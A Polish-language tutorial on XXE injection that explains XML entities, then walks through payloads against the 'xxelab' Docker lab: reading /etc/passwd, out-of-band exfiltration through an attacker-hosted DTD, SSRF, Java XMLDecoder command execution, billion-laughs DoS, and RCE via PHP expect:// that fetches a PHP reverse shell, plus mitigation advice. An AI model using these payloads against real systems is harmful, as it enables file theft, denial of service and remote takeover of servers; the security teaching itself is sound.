XXE injection
Najpewniej wielu z Was raz na jakiś czas odwiedza stronę OWASP celem zaspokojenia ciekawości lub wykorzystania wiedzy z niej zaczerpniętej w praktyce. Na przestrzeni czasu lista top 10 vulnerabilities zmieniała się, by umożliwić nam zapoznanie się z najczęstszymi zagrożeniami, z jakimi zmagają się aplikacje webowe. W trakcie ciągłej przebudowy kategoria, która w 2017 roku zajmowała zaszczytne 4 miejsce, stała się częścią A05:2021-Security Misconfiguration. Miejsce 5 to nadal relatywnie wysoko, a temat jest dość ciekawy z punktu widzenia pentestera, czy chociażby niedzielnego bug bounty huntera. Ponadto, zaawanstowane opcje filtrowania emerytowanych maszyn HTB, podatność XXE Injection pod różnymi postaciami występuje w 14 dostępnych na platformie maszynach. Mam więc nadzieję, że następne kilka minut lektury zaspokoi ciekawość i zaoszczędzi komuś trochę czasu w przyszłości.
Definicja XXE Injection
XXE Injection (XML eXternal Entity Injeciton) jest jedną z wielu podatności związanych ze źle skonfigurowanymi rozwiązaniami opartymi na XML-u, lecz prawdopodobnie najprostszą i najczęściej wśród nich spotykaną. Jak sama nazwa wskazuje, jej działanie oparte jest na wykorzystaniu rozwiązań zewnętrznych encji, w danych formatu XML, przesyłanych lub przechowywanych na serwerze. Skutkami ataków tego typu są między innymi: kradzieże poufnych danych, SSRF, odnajdywanie innych celów ataku w sieci lokalnej serwera, DoS z atakami typu Billion Laughts Attack czy w skrajnych przypadkach nawet RCE.
Najstarszą podatnością typu XXE zgłoszoną do rejestru CVE jest CVE-2002-1252. Wykryta została ona w oprogramowaniu PeopleTools i dotyczyła wersji 8.1X przed 8.19. To oprogramowanie było wykorzystywane w wielu produktach przejętej w roku 2005 firmy PeopleSoft. Podatność umożliwiała czytanie dowolnych plików z serwera za pośrednictwem zapytania typu POST. Podobnie najnowsza z perspektywy czasu tworzenia artykułu - CVE-2023-20174- wskazuje podatność zarówno SSRF jak i LFI dla sieciowego interfejsu zarządzania Cisco Identity Services Engine (ISE). Ta CVE jest niestety jedynie bugiem, gdyż w celu jej wykorzystania niezbędne są poświadczenia administratora, nie zmienia to jednak faktu jego wystąpienia, które teoretycznie nie powinno mieć miejsca.
CVE-2021-40722 ukazuje nam natomiast, że pomimo swojej rzadkości RCE za pomocą XXE wciąż jest realnym zagrożeniem dla wielu firm. Warto więc mieć chociaż świadomość, jak taki atak wygląda, i jak można się przed nim obronić.
Mogłoby się wydawać, że podatność ta jest bardzo łatwa do przewidzenia, zarówno przez twórców aplikacji, jak i osoby je testujące, lecz nie każdy programista w trakcie pisania kodu zdaje sobie sprawę z przykrych konsekwencji nieodpowiedniego wykorzystania niektórych funkcjonalności. Mam tutaj na myśli oczywiście parsery kodu XML, służące do zamiany danych w obiekt umożliwiający aplikacji i jej twórcy łatwiejsze operowanie na zbiorze informacji. Sama funkcjonalność encji zewnętrznych (external entities) w wielu kontrolowanych przypadkach jest bardzo pomocna, umożliwiając dla przykładu wczytanie stopki dokumentu z innego pliku na dysku. Niestety nieprawidłowe jej zabezpieczenie umożliwia atakującemu, jak w przypadku pierwszej CVE tego typu, zdobyć dowolny odpowiednio sformatowany plik wysyłany wraz z odpowiedzią serwera.
Szybki kurs XML-a
No dobrze. Wiemy już mniej więcej, czym jest XXE Injection, pora więc na niewielką garść teorii z dziedziny XML-a, która umożliwi nam zrozumienie prostej, lecz skutecznej zasady działania naszej podatności.
Zacznijmy więc od przykładowego pliku:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE inventory [
<!ELEMENT inv (product, footer)>
<!ELEMENT product (name, amount, price, id, manufacturer)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT amount (#PCDATA)>
<!ELEMENT price (#PCDATA)>
<!ELEMENT manufacturer (#PCDATA)>
<!ELEMENT footer (#PCDATA)>
<!ATTLIST porduct discontinued CDATA "no">
<!ENTITY name "The Great Emperor of All Blue">
<!ENTITY footer SYSTEM "footer.xml">
]>
<inv>
<product>
<id>1</id>
<name>DDoS</name>
<amount>1h</amount>
<price>450$</price>
<manufacturer>&name;</manufacturer>
</product>
<product>
<id>2</id>
<name>XXE Injection</name>
<amount>1</amount>
<price>200$</price>
<manufacturer>&name;</manufacturer>
</product>
<product discontinued="yes">
<id>3</id>
<name>MITM</name>
<amount>24h</amount>
<price>1100$</price>
<manufacturer>&name;</manufacturer>
</product>
<footer>&footer;</footer>
</inv>Pierwszą linijką pliku nie musimy się przejmować, gdyż określamy w niej jedynie wersję XML-a, którego zamierzamy użyć oraz kodowanie znaków. Następna część wymaga od nas nieco więcej uwagi.
DTD (Document Type Declaration) jest headerem naszego dokumentu, lecz zamiast zawierać metadane dokumentu w postaci autora, opisu czy słów kluczowych, umożliwia nam zadeklarowanie struktury dokumentu. Znajdziemy w niej wszystko - od własnych tagów wraz z atrybutami, aż po trzy typy encji: wewnętrzną, zewnętrzną oraz parametryczną. DTD może być przechowywane zarówno w samym dokumencie, jak i poza nim, np. na serwerze lub nawet rozproszone na wiele plików, które później mogą być połączone encjami parametrycznymi.
DTD:
<!DOCTYPE nazwa [ ... ]>Przykładowe definicje tagów:
<!ELEMENT nazwa typ_danych>
<!ELEMENT product (name, amount, price, id)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT nazwa ANY>Słowo kluczowe “ELEMENT” wskazuje, że definiujemy tag. Następnie podajemy jego nazwę, a na samym końcu typ akceptowanych danych. W powyższym przykładzie pole product może przyjmować tylko zawarte w klamrach tagi: name, amount, price oraz id. Element id natomiast, zamiast znaczników będzie przechowywał w sobie dane znakowe (CDATA), które dodatkwo przejdą przez nasz XML-owy parser po stronie serwera - (#PCDATA). To właśnie takich znaczników będziemy szukać najczęściej metodą eksperymentalną w celu osadzenia naszych gotowych do sparsowania encji. Ostatni przykład ukazuje znacznik, którego wartość może być dowolna.
Przejdźmy więc do kluczowych zagadnień - encji. Encje możemy przyrównać do zmiennych, które przechowują w sobie dane zdefiniowane w samym pliku lub na zewnątrz niego, w zależności od swojego typu i zamysłu autora. Nazwy tych zmiennych są rozwiązywane przez parsery, które podmieniają je na zadeklarowane wartości. Brzmi prosto i w zasadzie takie jest.
W standardzie XML-a istnieje 5 odgórnie zdefiniowanych encji wewnętrznych, które umożliwiają wykorzystanie znaków charakterystycznych dla składni technologii w dowolnym kontekście:
| Znak reprezentowany | Nazwa encji |
|---|---|
| & | & |
| < | < |
| > | > |
| " | " |
| ' | ' |
Podobnie sprawa wygląda dla HTML-a, co oznacza, że pewnie wielu z Was miało już z tym zagadnieniem do czynienia. Oczywiście różnica polega na tym, że HTML-owych encji jest zdecydowanie więcej.
<!-- internal entity -->
<!ENTITY name "The Great Emperor of All Blue">
<!-- external entity -->
<!ENTITY footer SYSTEM "footer.xml">
<!-- parametric entity -->
<!ENTITY % more_dtd SYSTEM "more_dtd.dtd">Co do różnic między trzema typami encji, to wyróżniamy dwie zasadnicze:
- po pierwsze wewnętrzne i zewnętrzne encje umieszczamy w strukturze dokumentu,
a parametryczne lokujemy w samym DTD (odróżniamy je znakiem % zarówno w trakcie
ich definiowania jak i użycia ->
%more_dtd;); - po drugie encje parametryczne mogą mieć wartości zamieszczone bezpośrednio w strukturze dokumentu lub sczytane z innej lokalizacji, wewnętrzne tylko zawarte w pliku, a zewnętrzne jedynie zaimportowane z innej lokacji - np. pliku na dysku czy innego serwera.
Dane z dysku lub innego serwera, do którego testowana maszyna ma dostęp? To brzmi dość zachęcająco z perspektywy pentestu. Zobaczmy zatem, czy jest związana z tym jakaś podatność…
XXE Injection - trochę teorii
Poniżej przedstawię w teorii przykłady wykorzystania XXE Injection. Następnie przyjrzymy
się wykorzystaniu niektórych z nich w praktyce. Na potrzeby prezentacji załóżmy,
że dane w postaci XML wysyłamy zapytaniem HTTP do serwera np. księgarni internetowej
celem sprawdzenia dostępności interesującej nas pozycji. Aplikacja zwraca nam wszystkie
dane wraz z dodatkowym tagiem zawierającym odpowiedź o dostępności pozycji, oraz
że zdefiniowany znacznik id jest typu PCDATA.
<question>
<id></id>
<storeCode></storeCode>
</question>LFI via XXE Injection
Prawdopodobnie najpopularniejszym atakiem umożliwiającym pozyskanie z serwera plików,
które pomogą nam w dalszej penetracji systemu, jest poniższy przykład. Wykorzystujemy
w nim pojedynczą zewnętrzną encję &lfi; w celu załadowania do odpowiedzi zawartości
pliku /etc/passwd, uwzględniając założenie, że serwer zwraca wszystkie wartości
z zapytania.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY lfi SYSTEM "file:///etc/passwd">
]>
<question>
<id>&lfi;</id>
<storeCode>1</storeCode>
</question>W niektórych implementacjach parserów XML napisanych w Javie istnieje możliwość
wylistowania interesującego nas katalogu poprzez podanie właściwej ścieżki w definicji
encji, np. dla katalogu głównego zapis wyglądałby w następujący sposób: file:///.
SSRF via XXE Injection
SSRF via XXE Injection polega na zmuszeniu naszego serwera do wysłania zapytania.
Oczywiście nie jest to jedyna możliwość, gdyż w zależności od sytuacji za pomocą
SSRF możemy na przykład zenumerować wewnętrzną sieć hosta, wyeksponować dane wrażliwe
(np. odpytując inne usługi na localhoście), odczytać metadane z usług w chmurze
(http://169.254.169.254), czy też w pełni narazić usługę wewnętrzną na RCE.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY ssrf SYSTEM "http://bad.server.xyz">
]>
<question>
<id>&ssrf;</id>
<storeCode>1</storeCode>
</question>SSRF and LFI via XXE Injection
W przypadku braku możliwości zwrócenia wartości pożądanego pliku - sytuacja Out-Of-Band - wykorzystujemy połączenie SSRF oraz LFI celem wysłania informacji na nasz prywatny serwer.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % lfi SYSTEM "file:///etc/passwd">
<!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>
<question>
<id>&get_file;</id>
<storeCode>1</storeCode>
</question>DTD na naszym serwerze - vicious.dtd:
<!ENTITY % sender "<!ENTITY get_file SYSTEM 'http://hackerMENvps.xyz/?file=%lfi;'>">
%sender;Niestety w przeprowadzonych przeze mnie testach nie okazało się to takie proste.
[Fri Oct 20 17:47:20.651369 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.0.10:4444/
?file=root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/
nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin
/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n [...] in /app/process.php
on line 5, referer: http://192.168.0.7:5000/
[Fri Oct 20 17:47:20.651884 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning: DOMDocument::loadXML(): Failure to process entity get_file in Entity,
line: 10 in /app/process.php on line 5, referer: http://192.168.0.7:5000/Zawartość plików z reguły zawiera znaki niedozwolone z perspektywy URI, a taki właśnie format tutaj musimy wykorzystać. Skorzystamy więc do tego celu np. wraperów php, o których wspomnę później.
<!ENTITY % lfi SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">Najprawdopodobniej część z Was postanowi zadać w tym miejscu intrygujące pytanie: dlaczego do przeprowadzenia tego ataku wykorzystujemy DTD znajdujące się na zewnętrznym serwerze, skoro całe zapytanie mogłoby wyglądać następująco?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % lfi SYSTEM "file:///etc/passwd">
<!ENTITY get_file SYSTEM "http://hackerMENvps.xyz/?file=%lfi;">
]>
<question>
<id>&get_file;</id>
<storeCode>1</storeCode>
</question>Twórcy standardu XML-a mając na uwadze bezpieczeństwo, uniemożliwili niestety zagnieżdżenie encji parametrycznej w definicjach innych encji, czyli pomiędzy cudzysłowami - dokumentacja. Zasada ta jednak działa jedynie w przypadku pojedynczego DTD, co oznacza, że jeżeli uda nam się naszego OOB rozłożyć na dwa pliki (tak ja w pierwszym przykładzie) parser nie powinien zgłosić nam żadnego błędu.
W przypadku Error-Based blind XXE Injection wykorzystujemy wyświetlaną przez aplikację webową informację o błędzie celem odfiltrowania pliku lub danych w nim zawartych. Oczywiście już sam komunikat o błędzie udostępnia nam trochę informacji. Poprzez odpowiednie zmodyfikowanie DTD na naszym serwerze możemy pozyskać interesujące nas dane.
DTD na naszym serwerze - vicious.dtd:
<!ENTITY % get_error "<!ENTITY get_file SYSTEM 'file:///invalid_path_or_sth/%lfi;'>">
%get_error;Lub w przypadku gdy nie mamy możliwości użycia znacznika PCDATA z następującej kombinacji dwóch DTD:
DTD - payload wysyłany z żądaniem:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>DTD na naszym serwerze - vicious.dtd:
<!ENTITY % lfi SYSTEM "file:///etc/passwd">
<!ENTITY % get_error "<!ENTITY % error SYSTEM 'file:///invalid_path_or_sth/%file;'>">
%get_error;
%error;% - jest znakiem procenta (kodowanym w hex) informującym nas, że mamy
do czynienia z encją parametryczną.
Jeśli nasza aplikacja dodatkowo przyjmuje i zwraca atrybuty (i ich wartości) możemy spróbować wyciągnąć pliki na poniższej zasadzie.
Zapytanie:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % lfi SYSTEM "file:///etc/passwd">
<!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>
<question>
<storeCode id="0&get_value;">1</storeCode>
</question>DTD - vicious.dtd:
<!ENTITY % atrybut "<!ENTITY get_value SYSTEM '%lfi;'>">
%atrybut;RCE via XXE Injection
Dochodzenie do RCE przy wykorzystaniu opisywanej podatności jest mocno związane
z wykorzystaną na serwerze technologią i nie istnieje pojedynczy przepis od niej
niezależny. Niżej w wydaniu praktycznym przestawiony zostanie RCE przy użyciu modułu
“expect” PHP. W tym miejscu wylistujmy przykład wykorzystania Runtime().exec()
w rozwiązaniach opartych na Javie.
<?xml version="1.0" encoding="UTF-8"?>
<java version="..." class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="1">
<void index="0">
<string>/usr/bin/whoami</string>
</void>
</array>
</void>
</object>
</java>Dodatkowo skoro jest to element <array> możemy przesyłać również przełączniki:
<java version="..." class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="2">
<void index="0">
<string>/usr/bin/uname</string>
</void>
<void index="1">
<string>-a</string>
</void>
</array>
</void>
</object>
</java>Techniki Resource Exhaustion
Czasem może zależeć nam na osłabieniu mocy obliczeniowej serwera, lub nawet na wyłączeniu go z obiegu. Możemy w tym celu wykorzystać ataki takie jak “Billion laughts attack” czy “Quadratic Blowup”.
Billion laughts attack
Nazwa dość specyficzna, lecz przykład z Wikipedii w pełni wyjaśnia tę nazwę. Jak widzimy w poniżej zamieszczonym kodzie, atak ten polega na iteracyjnym rozwiązywaniu kolejnych encji w astronomicznych ilościach.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>Mechanizm ten jest tak dobrze znany, że większość aplikacji jest na niego uodporniona - wystarczy zmniejszyć ilość możliwych zagnieżdżeń zewnętrznych encji. Powstał więc atak o nazwie “Qudaratic Blowup” - mniej zagnieżdżeń, wciąż dużo znaków oraz związanych z nimi operacji.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE quadratic [
<!ENTITY blowup "[dziesiątki tysięcy znaków]">
]>
<tag>&blowup; ... [dziesiątki tysięcy razy]</tag>Oczywiście oba ataki możemy łączyć, dobierając ilość zagnieżdżeń encji oraz ich długość, w zależności od odporności aplikacji, czy własnych upodobań. Jesteśmy w stanie wygenerować w ten sposób pliki o astronomicznych wielkościach, które mogą mocno ograniczyć wydajność atakowanego serwera.
XXE Injection w praktyce
Trochę teorii za nami, przyszedł czas na zabawę. W celu przeprowadzenia przykładowego ataku wykorzystam dockerowego xxelaba, którego w razie potrzeby można postawić samemu, a następnie zacząć przygodę z XXE Injection.
W celu instalacji dockera na linuxie posłużymy się następującym zbiorem poleceń:
sudo apt update
sudo apt install docker.io
sudo systemctl enable docker --now
docker -vTeraz kolej na kontener:
git clone https://github.com/jbarone/xxelab.git
cd xxelab
sudo docker build -t xxelab .
sudo docker run -it --rm -p 5000:80 xxelabsudo docker container list -a
CONTAINER ID IMAGE COMMAND CREATED STATUS
PORTS NAMES
2e0ae9f3ec8f xxelab "/usr/bin/httpd-fore…" 8 seconds ago Up 8 seconds
0.0.0.0:5000->80/tcp, :::5000->80/tcp wonderful_solomonVoila - możemy zacząć zabawę:

W celu przeprowadzenia testów wykorzystamy aplikację Zed Attack Proxy.
Skoro wszystko gotowe możemy zacząć przechwytywanie pakietów z i do dockerowego kontenera. Dość wyraźną podpowiedź, co do możliwej podatności witryny otrzymujemy już w odpowiedzi do zapytania typu GET na adres kontenera:

[ ... ]
<script type="text/javascript">
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<tel>' + $('#tel').val() + '</tel>' +
'<email>' + $('#email').val() + '</email>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","process.php",true);
xmlhttp.send(xml);
};
</script>
[ ... ]Nawet, jeżeli nic nam to nie mówi, po szybkim wykorzystaniu wyszukiwarki znajdujemy informacje, które sprawią, że jesteśmy pewni swego - XMLHttpRequest. Przechwyćmy więc to zapytanie:

<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>hackerman</name>
<tel>1111111111</tel>
<email>hackerman@funsociety.xyz</email>
<password>password</password>
</root>Skrypt w zapytaniu podstawia nam wartości z elementu fieldset do odpowiednich
znaczników zapytania zdefiniowanego powyżej. Ciekawe, że niezależnie od tego, jaki
adres email zostanie podany, odpowiedź zwróci nam błąd typu: “Sorry,
hackerman@funsociety.xyz is already registered!”.
Pozostało nam wybrać element, w którym spróbujemy umieścić zewnętrzną encję. Jedna
zwracana przez serwer informacja to zawartość tagu <email>, i to właśnie wykorzystamy.
LFI via XML w akcji
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY lfi SYSTEM "file:///etc/passwd">
]>
<root>
<name>hackermam</name>
<tel>1111111111</tel>
<email>&lfi;</email>
<password>password</password>
</root>
Od razu możemy przetestować wyciąganie plików, które zawierając znaki specjalne,
przy powyższym wykorzystaniu LFI spowodowałyby błąd parsera i uniemożliwiłyby wykradzenie
danych. Zauważmy, że zapytanie wygenerowane przez skrypt wysyłane jest jako POST,
w moim przypadku na adres: http://192.168.69.130:5000/process.php. Oznacza to
najprawdopodobniej dwie rzeczy:
- obsługa zapytania wykonywana jest przez plik
process.php, - plik
process.phpznajdować może się w katalogu głównym naszej internetowej aplikacji, a w związku zServer: Apache/2.4.7 (Ubuntu)oznacza to ścieżkę typu/var/www/html/process.php.
Aby wyciągnąć ten plik, musimy posłużyć się filtrami PHP, które umożliwią nam zakodowanie zawartości w formacie zgodnym z URL. Prawdopodobnie myślimy o tym samym - base64. Jeśli nie, to filtrowanie php nie ogranicza się tylko i wyłącznie do zadań typu to-upper-case.
php://filter/resource=string.toupper/resuource=<path_to_file>
php://filter/resource=string.tolower/resuource=<path_to_file>
php://filter/resource=string.toupper|string.rot13/resource=<path_to_file>Dodatkowo możemy również kompresować, czy też jak wspomniałem wcześniej konwertować do base64.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY php_file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/process.php">
]>
<root>
<name>hackermam</name>
<tel>1111111111</tel>
<email>&php_file;</email>
<password>password</password>
</root>
Jak widać na powyższym screenie, aplikacja zwróciła nam żądane dane. Odkodujmy je więc w dekoderze ZAP-a:
Sorry, PD9waHAKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlciAoZmFsc2UpOwokeG1sZmlsZSA9I
GZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokZG9tID0gbmV3IERPTURvY3VtZW50KCk7C
iRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKJGluZ
m8gPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKJG5hbWUgPSAkaW5mby0+bmFtZTsKJHRlbCA9I
CRpbmZvLT50ZWw7CiRlbWFpbCA9ICRpbmZvLT5lbWFpbDsKJHBhc3N3b3JkID0gJGluZm8tPnBhc3N3b
3JkOwoKZWNobyAiU29ycnksICRlbWFpbCBpcyBhbHJlYWR5IHJlZ2lzdGVyZWQhIjsKPz4K is already
registered!Kod PHP obsługujący zapytanie jest prosty. Nie trudno zauważyć co powoduje, że aplikacja, która absolutnie nie potrzebuje do swojego działania encji zewnętrznych ma dla nich pełne wsparcie:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$tel = $info->tel;
$email = $info->email;
$password = $info->password;
echo "Sorry, $email is already registered!";
?>
Przejdźmy zatem do testów Server Side Request Forgery.
SSRF via XXE dla ciekawych
Zainicjujmy najpierw serwer, na który spróbujemy wysłać odpowiednio sformułowane zapytanie zawierające poniższą encję:
python3 -m http.server<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY ssrf SYSTEM "http://192.168.69.128:8000/">
]>
<root>
<name>hackermam</name>
<tel>1111111111</tel>
<email>&ssrf;</email>
<password>password</password>
</root>Sprawdźmy logi odwiedzin na naszym pythonowym http.server.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.69.130 - - [18/Oct/2023 21:33:43] "GET / HTTP/1.0" 200 -Próba SSRF zakończona pełnym powodzeniem.
Trzymamy kciuki za RCE
Pomimo iż podatność ta w głównej mierze zależy od serwera i zainstalowanych na nim dodatkowych bibliotek/komponentów nie zaszkodzi spróbować tej metody na naszym podatnym serwerze. Do parsowania wykorzystuje on PHP. Sprawdźmy więc, czy nie posiada on zainstalowanego rozszerzenia “expect”.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY rce SYSTEM "expect://id">
]>
<root>
<name>hackermam</name>
<tel>1111111111</tel>
<email>&rce;</email>
<password>password</password>
</root>
Sorry, uid=33(www-data) gid=33(www-data) groups=33(www-data)
is already registered!Ok “expect” znajduje się na swoim miejscu. Niestety jak już wspominałem, w celu
pełnego wykorzystania podatności RCE będziemy potrzebowali czegoś więcej. Kodowanie
znaków ma w tym przypadku podobne reperkusje, co w trakcie wyciągania plików PHP,
lecz tym razem nie możemy po prostu wysłać payloada w formacie base64 i oczekiwać,
że wszystko skończy się sukcesem. Oznacza to, że oprócz znaków takich jak np. <,
>, |, ", : nie będziemy mogli wykorzystać również spacji, a przynajmniej
w jej naturalnej formie.
$IFS jest zmienną wykorzystywaną w skryptach basha lub sytuacjach takich jak nasza celem zdefiniowania i/lub wykorzystania wewnętrznego separatora pól (Internal Field Separator). W prostych słowach oznacza to znak “spacji” zapisany w inny sposób. Warto zauważyć, że Kali Linux jako podstawowego shella używa zsh, więc jeśli wciąż macie tą możliwość zalecam użyć dockera na systemie, który domyślnie wykorzystuje basha.
W tym przykładzie postaramy się nie tylko doprowadzić do RCE, ale również za pomocą
poniższego pliku rsh.php postaramy się zmusić atakowaną maszynę do zainicjowania
odwróconego shella:
<?php
set_time_limit(0);
$ip = '192.168.69.128';
$port = 4444;
$sock = fsockopen($ip, $port);
while(!feof($sock)) {
$command = fgets($sock, 1024);
$output = shell_exec($command);
fwrite($sock, $output);
}
fclose($sock);
?>
Aby pobrać naszego payloada PHP - przez wzgląd na ograniczenia nazewnictwa - zmienimy
port naszego servera http na 80. Polecenie curl samo w sobie zrozumie, że próbujemy
skorzystać z protokołu http, więc tego również nie musimy precyzować.
sudo python3 -m http.server 80nc -lvnp 4444<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY curl SYSTEM "expect://curl$IFS'192.168.69.128/rsh.php'$IFS'--output'$IFS'rsh.php'">
]>
<root>
<name>hackermam</name>
<tel>1111111111</tel>
<email>&curl;</email>
<password>password</password>
</root>
Po otworzeniu adresu http://192.168.69.130/rsh.php otrzymujemy:
Listening on 0.0.0.0 4444
Connection received on 192.168.69.130 43352
whoami
www-dataNasz dumb reverse shell gotowy. Pozostało nam jedynie wykorzystanie go do zainicjowania w pełni funkcjonalnego terminala oraz dalsze zagłębianie się w architekturę maszyny.
Ciekawe natomiast jest to, że pomimo iż znaki : nie powinny być dozwolone,
to odpowiednio wykorzystane nie stanowią problemu.
Przykład encji, która nie zadziała:
<!ENTITY curl SYSTEM "expect://curl$IFS'http://192.168.69.128/rsh.php'$IFS'--output'$IFS'rsh.php'">Przykład encji, która pomimo zastosowania dwukropka zostanie bezproblemowo rozwiązana:
<!ENTITY curl SYSTEM "expect://curl$IFS'192.168.69.128:80/rsh.php'$IFS'--output'$IFS'rsh.php'">Jak zmniejszyć zagrożenie
Będąc świadomym powyżej przedstawionego zagrożenia, zadajmy sobie pytanie: jak się zabezpieczyć? Przede wszystkim należy zapoznać się z własnym backendem i przeanalizować sposób, w jaki realizujemy przetwarzanie XMLa. Strona OWASP udostępnia prevention cheat sheet, który umożliwia nam rozpoznanie ryzyka w zależności od technologii.
Dla przykładu, jeżeli backend napisany jest w C/C++ jesteśmy zobowiązani przyjrzeć się bibliotece libxml2 lub libxerces-c i zgodnie z instrukcjami ustawić odpowiednie parametry/flagi w kodzie aplikacji.
Co do głównych zasad to możemy je zdefiniować następująco:
- jeśli nie są potrzebne, to należy wyłączyć rozwiązywanie zewnętrznych encji - z reguły jest to funkcjonalność zbędna;
- należy zmniejszyć liczbę możliwych zagnieżdżeń encji, wielkość pliku wejściowego oraz ustawić sensowny limit czasu na przetwarzanie plików XML;
- należy czytać poradniki, sprawdzać na bieżąco wykaz CVE i nie wyznawać zasady, że “jeśli działa to nie ruszaj”.
Podsumowanie
Dotarliśmy już do końca naszej dzisiejszej przygody z XXE Injection. To jednak nie jest jeszcze koniec wyprawy. Internet pełen jest informacji oraz miejsc, gdzie bez zbędnych formalności omawianą podatność można przećwiczyć, czy dowiedzieć się o niej czegoś więcej. Polecam chociażby PortSwigger Academy, gdzie szerzej omówione zostało pozyskiwanie informacji poprzez error messages, czy chociażby udostępniony został lab wykorzystujący LFI w formie Out-Of-Band.
Źródła
- https://youtu.be/gjm6VHZa_8s?si=lT5Q6KjqJL6eYakx
- https://www.w3schools.com/xml/
- https://cqr.company/web-vulnerabilities/xml-external-entity-injection/
- https://www.invicti.com/learn/out-of-band-xml-external-entity-oob-xxe/
- https://portswigger.net/web-security/xxe
- https://exploit-notes.hdks.org/exploit/web/security-risk/blind-xxe/
- https://marketsplash.com/tutorials/php/php-reverse-shell/
- https://learn.microsoft.com/en-us/previous-versions/windows/desktop/dd892769(v=vs.85)
- https://www.dvteclipse.com/documentation/svlinter/How_to_use_special_characters_in_XML.3F.html
- https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
- https://sapt.medium.com/research-on-xml-external-entity-injection-xxe-cyber-sapiens-internship-task-10-d6067d3dc934
- https://phonexicum.github.io/infosec/xxe.html
- https://medium.com/@klose7/xxe-attacks-part-2-xml-dtd-related-attacks-a572e8deb478
- https://owasp.org/www-community/vulnerabilities
- https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
- https://infosecwriteups.com/exploiting-xml-external-entity-xxe-injection-vulnerability-f8c4094fef83
- https://airman604.medium.com/from-xxe-to-rce-with-php-expect-the-missing-link-a18c265ea4c7
- https://caveconfessions.com/xxe-ugly-side-of-xml/?source=post_page—–a18c265ea4c7——————————–